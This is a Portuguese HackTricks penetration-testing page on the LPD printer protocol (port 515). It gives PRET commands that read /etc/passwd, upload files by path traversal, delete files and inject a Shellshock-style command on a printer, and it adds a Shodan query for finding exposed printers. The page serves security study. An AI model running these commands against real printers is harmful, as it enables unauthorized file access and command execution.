hacktricks/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

57 lines
4.2 KiB
Markdown

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### **Introdução ao Protocolo LPD**
Na década de 1980, o **protocolo Line Printer Daemon (LPD)** foi desenvolvido no Berkeley Unix, que mais tarde foi formalizado através do RFC1179. Este protocolo opera na porta 515/tcp, permitindo interações através do comando `lpr`. A essência da impressão via LPD envolve o envio de um **arquivo de controle** (para especificar detalhes do trabalho e do usuário) junto com um **arquivo de dados** (que contém as informações de impressão). Enquanto o arquivo de controle permite a seleção de **vários formatos de arquivo** para o arquivo de dados, o manuseio desses arquivos é determinado pela implementação específica do LPD. Uma implementação amplamente reconhecida para sistemas semelhantes ao Unix é o **LPRng**. Notavelmente, o protocolo LPD pode ser explorado para executar **PostScript malicioso** ou **trabalhos de impressão PJL**.
### **Ferramentas para Interagir com Impressoras LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) introduz duas ferramentas essenciais, `lpdprint` e `lpdtest`, oferecendo um método simples para interagir com impressoras compatíveis com LPD. Essas ferramentas permitem uma variedade de ações, desde imprimir dados até manipular arquivos na impressora, como baixar, enviar ou excluir:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Para indivíduos interessados em explorar mais o reino da **impressão hacking**, um recurso abrangente pode ser encontrado aqui: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
* `port 515`
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}